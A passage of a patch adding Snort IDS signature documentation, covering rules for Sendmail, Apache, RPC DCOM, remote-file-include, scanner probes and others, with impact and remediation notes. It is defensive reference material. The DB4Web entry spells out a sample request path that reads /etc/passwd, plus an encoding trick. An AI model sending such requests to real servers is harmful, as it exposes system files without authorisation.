+the extent that the buffer exceeds it's limit.
+
+--
+Affected Systems:
+All systems using Sendmail prior to version 8.12.8
+	
+--
+Attack Scenarios:
+The attacker can craft an email message that contains a "from" header
+with enough sequences of "<>" to cause a counter to exceed it's maximum
+size thus causing the buffer overflow.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+All users of Sendmail should upgrade to the latest non-affected version
+as soon as possible.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-07.html
+http://www.kb.cert.org/vuls/id/398025
+
+CVE Entry
+CAN-2002-1337
+
+Sendmail:
+http://www.sendmail.org/8.12.8.html
+
+--
--- snort-2.7.0.orig/doc/signatures/309.txt
+++ snort-2.7.0/doc/signatures/309.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 309
+
+--
+Summary:
+This event is generated when an attempt to overflow the buffer of a UNIX or Linux system via Sniffit is made.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to gain remote access to the victim host or execute arbitrary code with the privileges of the superuser account.
+
+--
+Detailed Information:
+Sniffit is a network monitoring tool that can also be configured to log emails. If this is the case, some versions of the tool contain a vulnerability such that a stack overflow via this logging mechanism is possible by a remote attacker.
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply vendor supplied patches.
+
+Use alternate tools such as Snort.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0306
+
+Bugtraq:
+http://www.securityfocus.com/bid/2353
+
+--
--- snort-2.7.0.orig/doc/signatures/628.txt
+++ snort-2.7.0/doc/signatures/628.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+628
+
+--
+Summary:
+This event is generated when the nmap port scanner and reconnaissance 
+tool is used against a host.
+
+--
+Impact:
+This could be part of a full scan by nmap and could indicate 
+potential malicious reconnaissance of the targeted network or host.
+
+--
+Detailed Information:
+Some versions of Nmap's TCP ping, if selected, sends a TCP ACK with an 
+ACK number = 0. 
+
+Nmap can use TCP ping as a second alternative to ICMP Ping.
+
+--
+Affected Systems:
+All systems not protected by a stateful firewall are affected. The TCP 
+Ping targeted port does  not need to be open on the host being probed to
+determine if the machine is alive or not.
+
+--
+Attack Scenarios:
+The first thing an attacker does is to gather some information about its
+target, he may use Nmap to see if the potential target is alive on 
+certain network. Included as part of the "pinging" technique used by 
+Nmap, a TCP ping can be used on certain networks that don't allow the 
+ICMP Protocol.
+
+--
+Ease of Attack:
+Simple. Nmap requires no specialized experience to use it.
+
+--
+False Positives:
+This particular Nmap TCP Ping uses a TCP ACK with an ACK Number = 0. It 
+is possible that other tools may also send a TCP ACK with an ACK number 
+of Zero.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Any stateful firewall should be enough to protect a host from being "TCP
+ACK probed". If you have more suspicious/malicious activity from the 
+host doing the portscan, follow your standard procedure to asess the 
+potential threat. If you only detect TCP Pings, that may be just a TCP 
+Ping Sweep and it is not a real threat.
+
+--
+Contributors:
+Original Rule Writer Unknown (prime suspect is Marty Roesch)
+Snort documentation contributed by Jose Hernandez <jrseal76@hotmail.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+arachnids: ids28
+
+--
--- snort-2.7.0.orig/doc/signatures/1808.txt
+++ snort-2.7.0/doc/signatures/1808.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1808
+
+--
+Summary:
+An attacker is using exploit code for the Apache chunked encoding 
+vulnerability against your web server.
+
+--
+Impact:
+If successful, this exploit can allow attackers to cause code of their 
+choice to run on your server or cause
+a denial of service.
+
+--
+Detailed Information:
+Older versions of the Apache HTTP server suffered from a bug in the 
+routines that handled chunked encoding.
+This exploit takes advantage of this vulnerability.
+
+--
+Affected Systems:
+Version of Apache 1.3 up to and including 1.3.24 and versions of Apache 
+2.0 up to 2.0.36. All versions of Apache 1.2 are vulnerable.   Although 
+this vulnerability is present in all ports of Apache, the exploit code 
+detected by this signature appears to only work against systems running 
+BSD.
+
+--
+Attack Scenarios:
+An attacker can take advantage of a widely available exploit script to compromise the server.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+This signature detects specific exploit code that targets systems 
+running BSD. It is certainly possible for this vulnerability to be 
+exploited in ways other than those detected by this signature.
+
+--
+Corrective Action:
+Ensure that you are running a version of Apache newer than those listed 
+in the "affected systems" section.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+Apache http server project
+http://httpd.apache.org/info/security_bulletin_20020620.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/100000681.txt
+++ snort-2.7.0/doc/signatures/100000681.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000681
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "header.php" using a remote file being passed as the 
+"theme_root" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "theme_root" parameter in the "header.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000610.txt
+++ snort-2.7.0/doc/signatures/100000610.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000610
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_checkurl.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_checkurl.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1719.txt
+++ snort-2.7.0/doc/signatures/1719.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1719
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2818.txt
+++ snort-2.7.0/doc/signatures/2818.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2818
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_columns_to_flavor
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1151.txt
+++ snort-2.7.0/doc/signatures/1151.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1151
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/119-14.txt
+++ snort-2.7.0/doc/signatures/119-14.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+119-14
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+use of non-standard RFC defined characters are used in a web request.
+
+The characters generating the events are user configured.
+
+--
+Affected Systems:
+	All web servers
+
+--
+Attack Scenarios: 
+An attacker may use non-standard characters in a request in an attempt
+to evade an IDS in the course of an attack against a web server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/3321.txt
+++ snort-2.7.0/doc/signatures/3321.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3321
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/935.txt
+++ snort-2.7.0/doc/signatures/935.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+935
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/406.txt
+++ snort-2.7.0/doc/signatures/406.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+406
+
+--
+
+Summary:
+This event is generated when An ICMP Source Route Failed datagram is detected on the network.  
+
+--
+
+Impact:
+The datagram that generated with ICMP datagram failed to transverse the network.  This could be an indication of routing or network problems.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2460.txt
+++ snort-2.7.0/doc/signatures/2460.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2460
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo 
+Instant Messenger running requests to view a webcam listen to an audio 
+message of another Yahoo IM user. 
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be 
+appropriate in certain network environments.
+
+--
+Detailed Information:
+This event indicates that a Yahoo IM user in your network is requesting 
+to view a webcam or listen to an audio message of another Yahoo IM user.
+While there are no known exploits associated with showing or viewing 
+webcams, it is possible that this activity is inappropriate in certain 
+environments.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+No known attack scenarios.
+
+--
+Ease of Attack:
+No known attack scenarios.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the 
+default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or 
+implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/2921.txt
+++ snort-2.7.0/doc/signatures/2921.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+2921
+
+-- 
+Summary: 
+This event is generated when an inverse query attempt is made using UDP.
+
+-- 
+
+Impact: 
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Bind 8 contains a programming error that may present an attacker with
+the opportunity to execute code of their choosing on an affected server.
+
+The error occurs in the handling of malformed transactions. When using
+UDP this can result in the attacker causing a stack overflow in named.
+
+--
+Affected Systems:
+	Bind 8.
+
+--
+Attack Scenarios: 
+An attacker needs to send a specially crafted and malformed query to an
+affected server.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3381.txt
+++ snort-2.7.0/doc/signatures/3381.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3381
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2060.txt
+++ snort-2.7.0/doc/signatures/2060.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+2060
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in DB4Web.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+DB4Web is an application server used to access various sources of data 
+via a web interface.
+
+DB4Web does not handle the characters ":" and "\" correctly when they 
+are URL encoded. An attacker can use this flaw to gain access to 
+sensitive system information.
+
+Also the application does not correctly handle the use of extra "/" in a
+URI.
+
+It is also possible for the attacker to open arbitrary TCP connections 
+using DB4Web and may be able to use it for portscanning other hosts.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+The attacker merely needs to make a normal HTTP request with the 
+characters ":" or "\" encoded (%3A%5C) followed by the commands the 
+attacker wishes to run.
+
+The attacker can also make a request like 
+http://www.foo.com/cgi-bin/db4web_c/dbdirname//etc/passwd to view the 
+contents of the password file.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable access to DB4Web from external sources.
+
+Apply the appropriate vendor patches.
+
+Run the webserver in a chroot environment to mitigate the risks of 
+disclosure.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+DB4Web
+http://www.db4web.de/DB4Web/home/DB4Web/hotfix_e.html
+
+--
--- snort-2.7.0.orig/doc/signatures/626.txt
+++ snort-2.7.0/doc/signatures/626.txt
@@ -0,0 +1,79 @@
+Rule:  
+ 
+--
+Sid:
+
+626
+
+--
+Summary:
+This event is generated when the Cybercop vulnerability scanner is used 
+against a host.
+
+--
+Impact:
+Cybercop can be used to identify vulnerabilities on host systems.
+
+--
+Detailed Information:
+This particular packet is a part of Cybercop's OS identification.  
+Specially crafted packets are able to elicit different responses from 
+different operating systems.  This packet is likely to be part of a full
+Cybercop scan rather than an isolated event. Having PUSH, ACK and 
+reserve bits 1 and 2 set at the same time is unusual.  While this rule 
+performs content as well as header checking to avoid false positives, 
+this flag combination in the TCP header is possible is possible in a 
+legitimate situation because of the addition of Explicit Congestion 
+Notification (ECN).
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+Cybercop can be used by attackers to determine vulnerabilities present 
+on a host or network of hosts that could be used as attack vectors.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This tool can be used legitimately by a system and network 
+administrators.
+
+False positives from ECN enabled systems are possible.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+TCP packets with PUSH, ACK and reserved bits 1 and 2 set at the same 
+time are unusual but possible with Explicit Congestion Notification 
+(ECN).  It is advisable to block TCP packets with these flags set that 
+do not have the ECT bit (TOS bit 6) set in the IP header.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS149
+
+Security Focus:
+http://www.securityfocus.com/infocus/1205
+
+RFC:
+http://www.ietf.org/rfc/rfc2481.txt?number=2481
+
+--
--- snort-2.7.0.orig/doc/signatures/474.txt
+++ snort-2.7.0/doc/signatures/474.txt
@@ -0,0 +1,65 @@
+Rule:
+--
+Sid:
+474
+
+--
+Summary:
+This event is generated when an ICMP Echo Request from the Windows based
+scanner SuperScan is detected.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+SuperScan is a freely available Windows based scanner from Foundstone. 
+The scanners default behavior is to send an ICMP Echo Request before 
+starting the scan. This ICMP packet has a special payload of eight (8) bytes, 
+consisting of the number zero (0).
+
+This scanner is fairly popular among Windows users.
+
+--
+Affected Systems:
+	All
+ 
+--
+Attack Scenarios:
+SuperScan may be used as an information gathering tool to detect active hosts
+on a network by sending icmp echo requests. 
+
+--
+Ease of Attack:
+Simple.  SuperScan is widely available.
+
+--
+False Positives:
+Tools other than SuperScan may generate echo requests with the same content.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Johan Augustsson
+<johan.augustsson@adm.gu.se> and Josh Gray
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Foundstone
+http://www.foundstone.com/
+
+McAfee:
+http://vil.nai.com/vil/content/v_103727.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/100000720.txt
+++ snort-2.7.0/doc/signatures/100000720.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000720
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "locations.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "locations.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2360.txt
+++ snort-2.7.0/doc/signatures/2360.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2360
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application MyphpPagetool.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+MyphpPagetool contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable ptinclude when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in the file pt_config.inc.
+
+--
+Affected Systems:
+	myphpPagetool 0.4.3 -1
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the ptinclude variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2303.txt
+++ snort-2.7.0/doc/signatures/2303.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2303
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
